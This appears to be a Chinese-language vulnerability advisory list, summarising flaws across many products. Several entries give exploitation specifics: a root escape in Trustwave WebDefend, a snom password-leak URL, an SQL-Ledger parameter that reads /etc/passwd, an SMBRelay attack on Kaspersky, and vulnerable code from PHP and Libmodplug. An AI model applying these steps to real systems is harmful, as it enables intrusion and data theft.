Libmodplug是用于播放mod类音乐格式的开源函数库。Libmodplug 'load_abc.cpp'存在多个缓冲区溢出，攻击者可以构建恶意.abc文件，诱使使用libmodplug库的应用程序解析，可导致以应用程序上下文执行任意代码。
Blue Coat ProxySG是一款代理设备平台，帮助企业加速和保护分布式网络中的应用。当解析部分报文时Blue Coat验证和授权代理(BCAAA)存在错误，向TCP 16102端口发送畸形报文可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
WordPress是一款流行的blog系统。在发布帖子时wp-admin/press-this.php脚本不正确检查用户权限，用户可无需"publish_posts"权限发布文章。要成功利用此漏洞需要"Contributor-level"特权。
Subtitle Processor是一款字母编辑处理器。Subtitle Processor不正确处理'.m3u'文件，攻击者可以构建恶意文件，诱使用户解析缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
SMSGATE.4提供的WEB服务程序在处理XML请求中的某些参数时存在错误，可触发内存破坏，远程攻击者可以成功利用此漏洞可导致任意代码执行。
Trustwave WebDefend是一款WEB应用防火墙。操作账户'bgoperator'用于执行系统维护功能，此账户通过SSH访问应用，操作账户默认密码在'Getting Started'帮助手册中提供。操作账户拥有菜单驱动shell但不允许用户输入系统命令：--------- Main Menu --------- 1 -- Online Menu 2 -- Offline Menu 3 -- System Menu ? -- Help 此账户的shell路径位于：'/usr/local/opt/breach/bin/start_bgadmin_cli'其脚本使用如下行调用另一个脚本：'sudo -u root /opt/breach/bwd/bin/bgadmin_cli'可以看到第二个脚本以root权限执行。当查看日志文件时shell使用'more'命令，当使用'more'时，按'v'，会在'vi'文本编辑器中启动文件，在'vi'中可以root权限读写系统任意文件，修改操作展会股登录脚本可以获得root shell。
SMSGATE.4提供的WEB服务程序在处理URI参数时存在一个错误，提交包含超长字符串的HTT GET请求可导致WEB服务器崩溃。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg LibAVCodec存在一个安全漏洞，打开畸形AMV文件可导致一个越界写数组问题，可以以使用此库应用程序上下文执行任意代码。
7T Interactive Graphical SCADA System是一款自动化监视和控制系统。IGSS的ODBC服务组件默认监听TCP 20222端口，应用程序层协议运行在TCP上，读取指定了后续跟进数据量的初始化报文。第二次读取拷贝到可变长度缓冲区的位置和数据，接下来的数据解析可触发缓冲区溢出。
傲天动联无线网络控制器存在信息泄露漏洞，可获得控制器的系统配置文件。
GreenPants是一款免费的博客软件。GreenPants 0.1.7版本存在多个SQL注入漏洞，这是因为在indexheader.php、searcher.php、indexviewentry.php、editcat.php、editemot.php多个脚本中缺少对数据库查询的合法性判断语句，导致存在多个SQL注入攻击。攻击者可利用这些漏洞构造恶意的SQL查询，获敏感信息，并可能导致进一步的攻击。
OrangeHRM是一个人力资源管理系统。OrangeHRM 2.6.3版本中的PluginController.php文件存在本地文件包含漏洞，可能导致敏感信息泄露。
snom VoIP Phone是一款网络电话解决方案。Snom IP Phone'软件的'Line 1'段存在数据泄露漏洞，漏洞允许攻击者获得连接电话线的用户密码。要获得敏感信息需要访问'http://address/line_login.htm?l=1'的'Snom IP Phone'，然后查看'user_pass1'字段的源代码获得敏感信息。
snom VoIP Phone是一款网络电话解决方案。Snom IP Phone'软件中的'Addres Book'段存在跨站脚本漏洞，此漏洞允许攻击者注入javascript代码到'number'字段，要利用此漏洞需要通过'http://address/adr.htm'访问'Snom IP Phone'，之后可以写任意javescript代码并发送表单，下一次的页面刷新会运行恶意javascript代码。
Hitachi Web Server是一款Hitachi产品上的WEB服务器。Hitachi Web Server处理RequestHeader指令存在错误，可泄露内存敏感信息。
Hitachi Web Server是一款Hitachi产品上的WEB服务器。Hitachi Web Server SSL协议存在错误，可注入任意明文。处理会话协商使TLS协议存在错误，通过中间人攻击可在合法客户端发送数据之前注入任意明文。
phpMyChat是一个易于安装和使用的聊天室应用程序，采用PHP开发。phpMyChat Plus 1.93版本中存在跨站脚本漏洞，允许攻击者利用漏洞执行任意JavaScript。
phpMyChat是一个易于安装和使用的聊天室应用程序，采用PHP开发。phpMyChat Plus 1.93版本中存在SQL注入漏洞，允许攻击者利用漏洞提取任意数据。
Webmin是一款基于WEB的Unix和Linux操作系统系统管理接口。当处理用户的"Full Name"信息时，Webmin没有过滤useradmin/index.cgi中的$real，这可被利用注入任意HTML和脚本代码，当管理员访问"Users and Groups"页面使在浏览器会话中执行任意代码。要成功利用漏洞需要/etc/login.defs中把"CHFN_RESTRICT"设置为"frwh"或"off"。
Wordtrainer存在一个缓冲区溢出漏洞。攻击者可以利用漏洞在受影响的程序中执行任意代码。
feedparser是一款用于解析各种feeds的Python库。python-feedparser存在跨站脚本漏洞。允许攻击者在受影响的网站中执行任意代码。
RealNetworks RealPlayer是一款流行的媒体播放程序。RealNetworks RealPlayer 'ieframe.dll'控件处理RunApplication方法存在漏洞，攻击者构建恶意WEB页，诱使用户访问，可导致以应用程序上下文运行任意命令。
Web迅雷是一款基于多资源超线程技术的下载工具，它继承了迅雷5的操作方便、高速下载的特点外，同时使用全网页化的操作界面，更符合互联网用户使用习惯，是国内第一款网页上的下载工具。Web迅雷在实现上存在设计漏洞，程序会接收攻击者提供的恶意参数直接执行，远程攻击者可利用此漏洞控制用户受影响系统。
PPLive网络电视是PPLive旗下媒体，一款全球安装量最大的网络电视，支持对海量高清影视内容的“直播+点播”功能。PPLive在实现上存在配置漏洞，远程攻击者可利用此漏洞非授权使用客户端TCP/9415的代理。代理服务器应该仅应监听在127.0.0.1，但事实上是在所有接口监听的。
Kaspersky Administration Kit是专为网络管理员提供的管理工具，使其更方便地直接从管理控制台同时管理企业内所有工作站的病毒防护。Kaspersky Administration Kit 6默认启用"Scan IP subnets"功能，此功能会进行ICMP扫描，也尝试使用服务账户使用SMB协议，这可被用于运行SMBrelay攻击，获得对安全加强网络的完全控制。使用"Scan IP subnets"每7小时扫描子网功能，攻击者只需要运行SMBRelay工具并等待。由于Kaspersky服务账户拥有公司网络中主机上的管理员权限，表示攻击者对设置此服务账户的任意服务器或工作站进行攻击。
eXPert PDF Reader是一款免费的PDF阅读器。eXPert PDF Reader不正确处理'.pj'文件，攻击者可以构建恶意文件，诱使用户解析触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Microsoft Windows Media Player是一款微软开发的媒体播放程序。Microsoft Windows Media Player在处理畸形".ogg"文件时存在远程拒绝服务漏洞。远程攻击者可利用此漏洞使受影响应用程序崩溃，远程执行任意代码。
Microsoft Internet Explorer是流行的WEB浏览器。在浏览器中是没有固定状态栏，只有当你用鼠标放到有链接的控件上时，状态栏才会出现，状态栏中将显示这个链接的地址。那么状态栏使用这样的设计模式，逻辑上就会存在一些错误。攻击者用脚本模拟一个点击控件，当鼠标移动到此控件时，攻击者再使用图片或文本去模拟状态栏模块，此时就达到了状态栏欺骗的效果。当用户点击控件链接，转向的地址并非是状态栏中看到的地址，而转向了一个用户未知的恶意地址。这和传统的状态栏欺骗有所不同，当攻击者可以使用HTML语言去模拟浏览器一个固定模块的时候，欺骗就会发生。
Google Chrome是流行的WEB浏览器。在浏览器中是没有固定状态栏，只有当你用鼠标放到有链接的控件上时，状态栏才会出现，状态栏中将显示这个链接的地址。那么状态栏使用这样的设计模式，逻辑上就会存在一些错误。攻击者用脚本模拟一个点击控件，当鼠标移动到此控件时，攻击者再使用图片或文本去模拟状态栏模块，此时就达到了状态栏欺骗的效果。当用户点击控件链接，转向的地址并非是状态栏中看到的地址，而转向了一个用户未知的恶意地址。这和传统的状态栏欺骗有所不同，当攻击者可以使用HTML语言去模拟浏览器一个固定模块的时候，欺骗就会发生。
KMPlayer是一款流行的媒体播放程序。KMPlayer不正确处理'.kpl'文件，攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Php是一款流行的编程语言。..\php-5.3.6\ext\phar\tar.c文件存在一个整数溢出漏洞，可导致堆溢出。int phar_parse_tarfile(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, int is_data, php_uint32 compression, char **error TSRMLS_DC) /* {{{ */ { //.....  size = entry.uncompressed_filesize = entry.compressed_filesize =   phar_tar_number(hdr->size, sizeof(hdr->size));        //(*) //.....  if (!last_was_longlink && hdr->typeflag == 'L') {   last_was_longlink = 1;   /* support the ././@LongLink system for storing long filenames */   entry.filename_len = entry.uncompressed_filesize;   entry.filename = pemalloc(entry.filename_len+1, myphar->is_persistent);  //(**)   read = php_stream_read(fp, entry.filename, entry.filename_len);    //(***) //.....    如果entry.filename_len(which attacker can control)等于0xffffffff, pemalloc()会分配零长度的缓冲区，然后php_stream_read()得到一个长度为0xffffffff的参数。由于php_stream_read ()检查传递的长度没有超过可用数据的数量，可导致后续的拷贝触发缓冲区溢出。
QEMU是一款面向完整PC系统的开源仿真器。类似所有块驱动virtio-blk也不应该允许比块大小小的粒度访问，但是由于该协议指定我们当前接收此类请求的字节单位长度字段，可导致qemu在较底层中触发abort()。
Linux是一款开放源代码的操作系统。page_count拷贝自用户空间，agp_allocate_memory()会尝试检查此数是否过大，但没有进行封装转换处理，而agp_create_user_memory()没有检查num_agp_pages变量计算出的alloc_size是否会溢出。agp代码的另一个问题没有在内核内存耗竭(AGPIOC_RESERVE和AGPIOC_ALLOCATE ioctls)补丁上得到修补。由于没有检查请求的pid是否为调用者的pid(在agpioc_reserve_wrap()中没有检查)，每个分配限制为16KB，但没有对每个进程进行限制，这可导致触发OOM。
Linux是一款开放源代码的操作系统。pg_start拷贝自用户空间的agp_ioctl()中的AGPIOC_BIND和AGPIOC_UNBIND ioctl cmds并传递给agpioc_bind_wrap()。根据评注中描述在AGPIOC_BIND情况下(pg_start + mem->page_count)会封装转换，而在AGPIOC_UNBIND情况下没有进行正确检查，结果可导致非特权用户写任意内核内存而(一般是"video"组)触发本地拒绝服务或提权提升。
IBM DB2 Universal Database Server是一款大型的商业关系数据库系统。IBM DB2存在安全漏洞，允许恶意用户绕过部分安全限制。（1）关系数据服务组件存在未明漏洞，允许攻击者没有正确权限更新统计表。（2）关系数据服务组件存在错误，在从组中删除角色成员后，能授权用户特权来执行非DDL语句。
Gesytec GmbH ElonFmt ActiveX控件模块存在一个缓冲区溢出。当超大缓冲区发送给elonfmt.ocx模块GetItem1函数中的pid项时，会溢出SEH，构建恶意WEB页，诱使用户访问，可以以应用程序上下文执行任意代码。
Avaya one-X Communicator提供全面的语音通信功能、桌面视频、可视语音留言、丰富的在线状态信息、电子邮件和即时消息处理、会议合并、通讯录以及通信记录。Avaya one-X Communicator安装的ActiveX DLL库文件存在一个缓冲区溢出漏洞，用户打开恶意文件或浏览器恶意WEB页面，可导致Avaya one-X Communicator客户端崩溃，或允许执行任意代码。
Asterisk是一款开放源码的软件PBX，支持各种VoIP协议和设备。Asterisk管理接口的用户可绕过安全检查，执行shell命令。在初始操作过程中发送一个“Application”和“Async”头，允许验证管理用户执行shell命令，仅拥有“system”特权用户能执行此操作。
OpenVAS是一款开放式漏洞评估系统。应用程序在运行格式化插件之前没有正确丢弃权限及校验这些插件，上传特制的报告格式插件可以以用户特权上下文执行任意代码。
TOTVS ERP Microsiga Protheus是一款ERP系统与应用支持解决方案。Microsiga Protheus提供的"memmove()"函数存在一个边界错误，提交特制的报文可触发内存破坏。成功利用漏洞可能以应用程序上下文执行任意代码。
Linux是一款开放源代码的操作系统。net/can/bcm.c提供的"bcm_release()"函数存在一个空指针引用错误，本地攻击者可以利用漏洞使内核崩溃。
GNOME是一款免费的桌面环境。当原始用户切换到新用户时(使用"Switch User"，以新用户登录)，并且从新用户账户中退出，桌面会没有要求输入任何密码提示返回到原始用户中。可按照如下方法重现：1，user1: 选择"switch user"，以user2登录。2，User2: 选择"logout"。桌面会没有任何密码输入提示返回到user1桌面。
Avaya CS1000 Communications Server是一款客户服务与协议应用解决方案。监听UDP 5100端口的进程存在缺陷，当解析请求时，会接收大小参数并减2。这可导致一个整数溢出错误，之后在复制内存时可导致进程崩溃。
WebKit是一款开放源代码的浏览器引擎。应用程序的帧元素实现存在缺陷。当把此元素附加在文档上时，应用程序会复制匿名块的引用。当释放容器中所持有的帧元素时，引用仍然可用。如果攻击者可以执行内容的类型转换，利用这个元素就可以以应用程序上下文执行任意代码。
WebKit是一款开放源代码的浏览器引擎。应用程序在如何管理位于文档内特定元素附近匿名块的引用存在缺陷。当克隆此元素时，应用程序会复制一个针对此块的引用，然后会重新把此元素附加到渲染树上。在这个过程中库会释放原来的渲染元素。之后访问相同元素会导致库使用已释放对象，利用此问题可以应用程序上下文执行任意代码。
WebKit是一款开放源代码的浏览器引擎。库中帧元素实现存在缺陷。当解析嵌入到SVG文档中的畸形文档时，库会在块内容帧元素附近创建一个匿名块。当指派.textContent属性为只读来释放匿名块时，仍然存在一个对子元素的引用。访问这个子元素可导致以应用程序上下文执行任意代码。
rdesktop是一个在Unix/Linux下访问Windows远程桌面的客户端程序。rdesktop磁盘重定向功能存在输入验证错误，诱使用户链接恶意服务器，可通过目录遍历攻击操作root文件夹之外的文件。
K-Links是一个网站链接目录系统，类似于yahoo搜索引擎目录。K-Links中的index.php存在SQL注入漏洞，可能导致敏感信息泄露。
TiyBB是一款简单免费的论坛脚本。TinyBB 1.4版本中存在SQL注入漏洞，可能导致敏感信息泄露。
EZ-Shop是一款电子商务程序。EZ-Shop 1.02版本存在SQL注入漏洞，可能导致敏感信息泄露。
cPassMan是一款使用PHP编写的密码管理工具。cPassMan 1.82版本存在任意文件下载漏洞，可能导致敏感信息泄露。
Xfce是一个在Unix与Unix-like操作系统上运行的桌面环境，Thunar是文件管理器。处理包含格式串文件名时，thunar/thunar-transfer-job.c提供的"thunar_transfer_job_copy_node()"函数存在格式串错误，诱使用户拷贝使用恶意文件名的文件可触发内存破坏，可能导致任意代码执行。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。如果在Android设备上安装了恶意第三方应用程序，它可能访问存储在本地的skype android文件。这些文件包括缓存的profile和即时消息，攻击者可以利用漏洞获得敏感信息。
Perl Jifty::DBI存在安全漏洞，允许攻击者进行SQL注入攻击。部分输入在用于SQL查询之前缺少过滤，攻击者可注入任意SQL代码操作SQL查询，操作数据库。
MyBB是一款基于PHP的论坛程序。MyBB存在安全漏洞，通过"mybb[forumread]" cookie参数传递给showthread.php(当"action"参数设置为"newpost"时)的输入在用于SQL查询时缺少过滤，可注入任意SQL代码操作SQL查询。
Mojolicious是下一代的Perl语言的Web编程框架。Mojolicious不正确过滤URL输入，远程攻击者可以利用漏洞通过目录遍历攻击获得系统文件。
Fail2ban是一款日志扫描软件, 可尝试从日志中发现恶意的攻击行为。Fail2ban不正确创建临时文件，本地攻击者可以利用符号链接攻击覆盖系统中的文件，造成拒绝服务攻击或可能提升权限。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark DECT解析存在一个缓冲区溢出漏洞，远程攻击者可以利用漏洞执行任意代码。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark存在安全漏洞，NFS, X.509if解析器不正确处理畸形报文，攻击者可以利用漏洞使应用程序崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark存在安全漏洞，X.509if解析器不正确处理畸形报文，攻击者可以利用漏洞使应用程序崩溃。
SQL-Ledger是一款企业的财务和ERP系统，会计数据存储在一个SQL数据库服务器，以显示任何文本或图形用户界面的浏览器都可以使用。SQL-Ledger "Stylesheet"链接存在漏洞，允许用户查看登录相关的样式表。在底部的"Edit"链接，如果编辑"file" POST参数，可以WEB权限访问任何相对或绝对路径文件(/etc/passwd, sql-ledger.conf)。
SimplyPlay是一款媒体播放程序。SimplyPlay不正确处理'.pls'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver Web应用服务器存在安全漏洞，处理部分输入存在漏洞允许重定向客户到恶意WEB站。另外SAP NetWeaver Portal不正确限制错误消息，攻击者提交特制HTTP请求可获得安装组件的实际绝对路径。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver Web应用服务器存在安全漏洞，部分未明输入在返回用户之前 ITS Mobile Start和ITS Mobile Test对其缺少充分过滤，攻击者可以利用漏洞进行跨站脚本攻击。
Invensys Wonderware inBatch是一款工控批量管理软件。Invensys Wonderware inBatch客户端ActiveX控件存在一个缓冲区溢出，攻击者可以构建恶意WEB页，诱使用户解析，使应用程序崩溃，或以应用程序安全上下文执行任意代码。
Atop是一个类似top的工具，可监视Linux 系统的性能状况。Atop不安全创建临时文件，通过符号链接攻击可覆盖任意文件或删除任意目录中的"atop.acct"文件。
SAP GUI是一款SAP软件的图形用户界面客户端。攻击者可以构建包含特制标签的saplogon.ini文件，覆盖用户升级服务器上的文件，用户安装升级时可导致缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在输入验证错误，传递给MessagingSystem/monitor/monitor.jsp中的"sort", "numPerPage", "page", "lastPage", "numPerpageb", "pageb"和"direction"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
Nedit是一个标准GUI风格的程序开发和文本编辑器。Nedit不正确处理选项文件名，存在典型的格式串错误，攻击者可以利用此漏洞以应用程序上下文执行任意代码。
Xceed Zip Compression Library是一个可以使视窗开发者们能够高效压缩数据库的控件。Xceed Zip压缩库不正确处理ZIP档，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
TOTVS ERP Microsiga Protheus是一款ERP系统与应用支持解决方案。应用程序使用用户可控值作为"size"参数递交给"memmove()"函数使用，提交超大值可导致缓冲区溢出，造成应用程序崩溃。
ProletSoft Playlistmaker用于应用程序创建播放列表。ProletSoft Playlistmaker不正确处理'.txt'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Open Text Corporation FirstClass是一款基于WEB的组合语音和传真通信的系统。Open Text FirstClass应用程序绑定使用的Pthreads-win32库存在漏洞，其以不安全方法装载库(如quserex.dll)，诱使用户打开远程webdav和SMB共享上的FC(".fc")文件，可被利用装载任意库。
Open Text Corporation FirstClass是一款基于WEB的组合语音和传真通信的系统。Open Text FirstClass客户端存在安全漏洞，处理"FCP://" URL链接存在输入验证错误，通过特制的链接可被利用创建攻击者可控内容的任意文件。
MediaWiki是一套以GPL授权发行的Wiki引擎。MediaWiki存在多个安全漏洞，允许恶意用户进行跨站脚本攻击和绕过部分安全限制。（1）应用程序不正确防止部分浏览器(如Internet Explorer 6)基于查询URL结尾来猜测内容类型，可被利用注入和执行HTML，在目标用户浏览器上执行任意脚本代码。（2）通过CSS评注传递的输入在显示给用户之前，wikitext解析器没有对其进行过滤，可被利用注入和执行HTML，在目标用户浏览器上执行任意脚本代码。（3）transwiki导入功能没有正确限制表单发送访问，可被利用执行未授权远程资源导入。
Winamp是一款流行的媒体播放器。Winamp不正确处理'.m3u8'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Winamp是一款流行的媒体播放器。Winamp不正确处理'.wlz'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
PDF Extract TIFF用于从PDF文件中提取图像并且保存为TIFF格式，然后用Word, Adobe Photoshop之类的程序进行再次编辑。解析PDF文件时pdf2tif.dll存在错误，攻击者可以构建恶意输入文件，诱使用户解析触发缓冲区溢出，可导致以应用程序上下文执行任意代码。插件也受此漏洞影响。
Microsoft HTML Help Workshop是由微软公司出的编程配套的软件，该软件可以帮助您建立HTML 格式的HELP 文件。在解压缩内容时拷贝任意数量数据到栈缓冲区时itss.dll可触发一个栈溢出：65E3B12B | 8B87 28010000 MOV EAX,DWORD PTR DS:[EDI+128]65E3B131 | 0345 0C ADD EAX,DWORD PTR SS:[EBP+C]65E3B134 | 56 PUSH ESI ; our custom size65E3B135 | 50 PUSH EAX ; our decompressed; source65E3B136 | FF75 08 PUSH DWORD PTR SS:[EBP+8] ; stack destination65E3B139 | E8 01CDFEFF CALL itss.65E27E3F ; memmove on XP/2003; memcpy on Windows7拷贝CHM中LZX块(0x77fe字节)数据到栈缓冲区时可触发此漏洞。攻击者构建恶意CHM文件，诱使用户解析，可以以应用程序上下文执行任意代码。
ISIS Papyrus AFP Viewer是一款可以查看AFP文档的插件。当处理"SelectRegion()"方法时"npax" ActiveX空间(activexpav31.dll)存在边界错误，构建超长字符串(超过256字符)提交给此方法，可触发栈缓冲区溢出。攻击者可以利用漏洞以应用程序上下文执行任意代码。
ISIS Papyrus AFP Viewer是一款可以查看AFP文档的插件。当处理"FileReLoad()"方法时"npax" ActiveX空间(activexpav31.dll)存在边界错误，构建超长字符串(超过256字符)提交给此方法，可触发栈缓冲区溢出。攻击者可以利用漏洞以应用程序上下文执行任意代码。
VLC Media Player是一款流行的多媒体播放程序。modules/demux/mp4/libmp4.c提供的"MP4_ReadBox_skcr()"函数存在错误，远程攻击者可以构建恶意MP4文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Vallen System Zipper是一款压缩管理工具。Vallen System Zipper不正确处理'.zip'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
SPIP是一基于Web的内容发布系统。SPIP存在为一个未明安全漏洞，允许攻击者利用此漏洞使WEB站点与数据库断开。
Microsoft Reader是一套电子书的阅读程序，可以在网站书店购买电子书，然后利用Microsoft Reader来阅读。Microsoft Reader存在安全漏洞，允许把0x00字节写入到任意内存位置。远程攻击者可以利用漏洞使应用程序崩溃或以应用程序上下文执行任意代码。
Microsoft Reader是一套电子书的阅读程序，可以在网站书店购买电子书，然后利用Microsoft Reader来阅读。Microsoft Reader使用过多段可导致AOLL块中触发数组溢出。远程攻击者可以利用漏洞使应用程序崩溃或以应用程序上下文执行任意代码。
Microsoft Reader是一套电子书的阅读程序，可以在网站书店购买电子书，然后利用Microsoft Reader来阅读。Microsoft Reader执行memmove操作时存在一个堆溢出漏洞，远程攻击者可以利用漏洞使应用程序崩溃或以应用程序上下文执行任意代码。
Microsoft Reader是一套电子书的阅读程序，可以在网站书店购买电子书，然后利用Microsoft Reader来阅读。Microsoft Reader段解压缩过程中分配一定数量内存及拷贝任意数据可导致堆溢出。远程攻击者可以利用漏洞使应用程序崩溃或以应用程序上下文执行任意代码。
Microsoft Reader是一套电子书的阅读程序，可以在网站书店购买电子书，然后利用Microsoft Reader来阅读。Microsoft Reader处理初始化ITLS头存在整数溢出漏洞，远程攻击者可以利用漏洞使应用程序崩溃或以应用程序上下文执行任意代码。
Microsoft Host Integration Server是一款主机平台互通解决方案。（1）使用TCP协议的如1478端口上的snabase.exe，使用动态端口的snalink.exe，snaservr.exe, mngagent.exe等，"word[packet] - 2"可使应用程序进入无限循环，持续解析相同数据。（2）访问最大0x1ee字节报文之后的未分配内存可导致进程崩溃。（3）超过0x1ee字节的UDP报文可阻止接收任何其他UDP报文。（4）字符串过大可导致异常。（5）如果字符串超过0x10字节，服务器会触发异常终止。
Kerberos是一款广泛使用的使用强壮的加密来验证客户端和服务器端的网络协议。MIT Kerberos 5是开源Kerberos实现。处理部分报文时kadmind存在一个错误，向TCP 749端口发送查询版本的特制报文可使进程释放非法内存指针，使守护程序崩溃。
MikeyZip是一款压缩管理工具。MikeyZip不正确处理'.zip'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Linux是一款开放源代码的操作系统。在计算INIT/INIT-ACK块长度时，代码只计算了参数长度，而没有计算参数的零填充长度，如AUTH HMACS参数和CHUNKS参数。没有计算零填充长度参数可导致内核触发oops。
IrfanView是一款功能强大的图片查看程序。IrfanView不正确处理'.ico'文件，远程攻击者可以构建恶意文件，诱使用户解析，触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
IBM Tivoli Monitoring用于提供基本系统资源的监控特性，以检测系统瓶颈和潜在的问题。IBM Tivoli Monitoring绑定的Java版本存在安全漏洞，目前没有详细漏洞细节提供。
McAfee Firewall Reporter 可集中处理企业范围内迈克菲网关安全设备的日志和审计数据。McAfee Firewall Reporter "GernalUtilities.pm"在实现上存在身份验证绕过漏洞，攻击者可利用此漏洞绕过某些安全限制，获取敏感信息。此漏洞源于负责用户身份验证的代码中。GernalUtilities.pm文件包含不用过滤即可通过解析cookie值验证会话的代码。错误逻辑仅检查特定文件的存在性，而不验证其内容。通过使用目录遍历技术，攻击者可将cgisess cookie值指向服务器上的任意文件，从而绕过身份验证。
Tinyproxy是一个小型的基于GPL的HTTP/SSL代理程序。Tinyproxy在子网掩码生成实现上存在一个错误，如果配置包含使用IP范围的"Allow"指令，允许攻击者绕过ACL限制访问受限资源。
Microsoft Windows是一款流行的操作系统。处理IOCTLs时afd.sys驱动存在错误，通过特制的0x000120CF IOCTL可导致访问非法内存而使系统崩溃。
HAProxy是一款提供高可用性、负载均衡以及基于TCP和HTTP应用的代理软件。当处理某些Cookie时，src/proto_http.c提供的"manage_server_side_cookies()"函数存在错误，处理包含特制"Set-Cookie"头的HTTP应答时可到时程序崩溃。
Fiberhome HG-110是一款ADSL路由器设备。Fiberhome HG-110存在目录遍历攻击，可导致敏感信息泄露或未授权访问系统敏感文件。
Fiberhome HG-110是一款ADSL路由器设备。Fiberhome HG-110存在跨站脚本攻击，可导致敏感信息泄露或未授权访问系统敏感文件。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! FLEXIcontent组件的实现上存在安全漏洞，远程攻击者可能利用此漏洞操作某些数据并泄露敏感信息，从而控制受影响系统。（1）此漏洞源于"cache"目录的组件设置不安全权限。通过修改、创建或删除此目录中的文件利用此漏洞。（2）此漏洞位于phpThumb()的附带版本中。
phpCollab是一个支持中文插件的项目开发管理软件。phpCollab 2.5版本中存在多个HTML注入漏洞。攻击者可以利用漏洞在受影响的浏览器中执行任意脚本代码。
Viscacha是一个免费的电子布告栏系统。Viscacha 0.8.1版本中存在SQL注入漏洞。攻击者可以利用漏洞在数据库中执行任意查询，访问或修改敏感数据。
Viscacha是一个免费的电子布告栏系统。Viscacha 0.8.1版本中存在多个跨站脚本漏洞。攻击者可以利用漏洞在受影响的应用程序中执行任意JavaScript代码。
TYPO3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。TYPO3 WEC Discussion Forum 2.1.1之前版本存在一个SQL注入漏洞，攻击者可以利用漏洞访问或修改数据。
WordPress是一款流行的blog系统。wp-includes/formatting.php提供的"make_clickable()"函数在传递给PCRE库之前没有对评注中的URL长度进行检查，可导致应用程序崩溃。
Microsoft Vista是一款微软开发的操作系统。Windows Vista 32位和64位系统发布的API中封装的Microsoft Device IO Control实现上存在一个缓冲区下溢，可破坏内核内存，远程攻击者可利用此漏洞使系统崩溃。
Libmodplug是用于播放mod类音乐格式的开源函数库。load_s3m.cpp提供的ReadS3M方法存在漏洞：WORD ptr[256];...memset(ptr, 0, sizeof(ptr));if (nins+npat){memcpy(ptr, lpStream+dwMemPos, 2*(nins+npat));nins和npat变量由用户控制，从文件中读取时没有任何检查，这些参数会直接影响拷贝的数据数量，可造成可控的栈溢出，导致以应用程序安全上下文执行任意代码。
WampServer是在windows下将Apache+PHP+Mysql集成环境，拥有简单的图形和菜单安装和配置环境。 WampServer 2.1版本存在任意文件下载漏洞。攻击者可以利用漏洞下载的网络服务器进程中的任意文件。
S40是一款免费的内容管理系统。S40 0.4.2 beta版本中存在多个本地文件包含漏洞，攻击者可以利用漏洞获得敏感信息，或在Web服务器进程的范围内执行任意的本地脚本。
O2 DSL Router Classic是一款路由器。o2 DSL Router Classic存在HTML注入漏洞。攻击者可以利用漏洞在受影响的浏览器中执行任意代码，窃取敏感信息，或发起其他攻击。
WordPress是一款流行的blog系统。WordPress部分未明输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息。
eyeOS是一款web桌面环境。eyeOS存在一个信息泄露漏洞，攻击者可以利用漏洞查看Web服务器进程中的本地文件。
eyeOS是一款web桌面环境。eyeOS存在一个跨站脚本漏洞，攻击者可以利用漏洞执行任意脚本代码。
PHP-fusion是一款内容管理系统。PHP-fusion中的articles.php存在SQL注入漏洞，可能导致敏感信息泄露。
Banner Ad Management Script是一款网站横幅广告管理系统。Banner Ad Management Script存在SQL注入漏洞，可能导致敏感信息泄露。
OpenEMR是一款医疗管理系统，可用于医疗实践管理，电子病历，处方书写和医疗帐单申请。OpenEMR 4.0.0版本存在反射型跨站脚本漏洞，攻击者可以利用漏洞执行任意的JavaScript。
OpenEMR是一款医疗管理系统，可用于医疗实践管理，电子病历，处方书写和医疗帐单申请。OpenEMR 4.0.0版本存在本地文件包含漏洞，攻击者可以利用漏洞包含任意文件。
Xilisoft Video Converter Ultimate是一款多媒体转换工具。Xilisoft Video Converter Ultimate不正确处理'.flv'文件，攻击者可以构建恶意文件，诱使用户解析触发缓冲区溢出，成功利用漏洞可以以应用程序安全上下文执行任意代码。
Ruby on Rails是一款Web应用程序框架，构建在Ruby语言之上。Ruby on Rails存在跨站脚本漏洞，此漏洞通过auto_link方法表现。即使输入未知来源，auto_link也会自动把输入字符串标记为"html safe"，如：<%= auto_link(params[:content]) %>如果"content"参数包含恶意JavaScript，脚本会不经过任何转义就渲染。
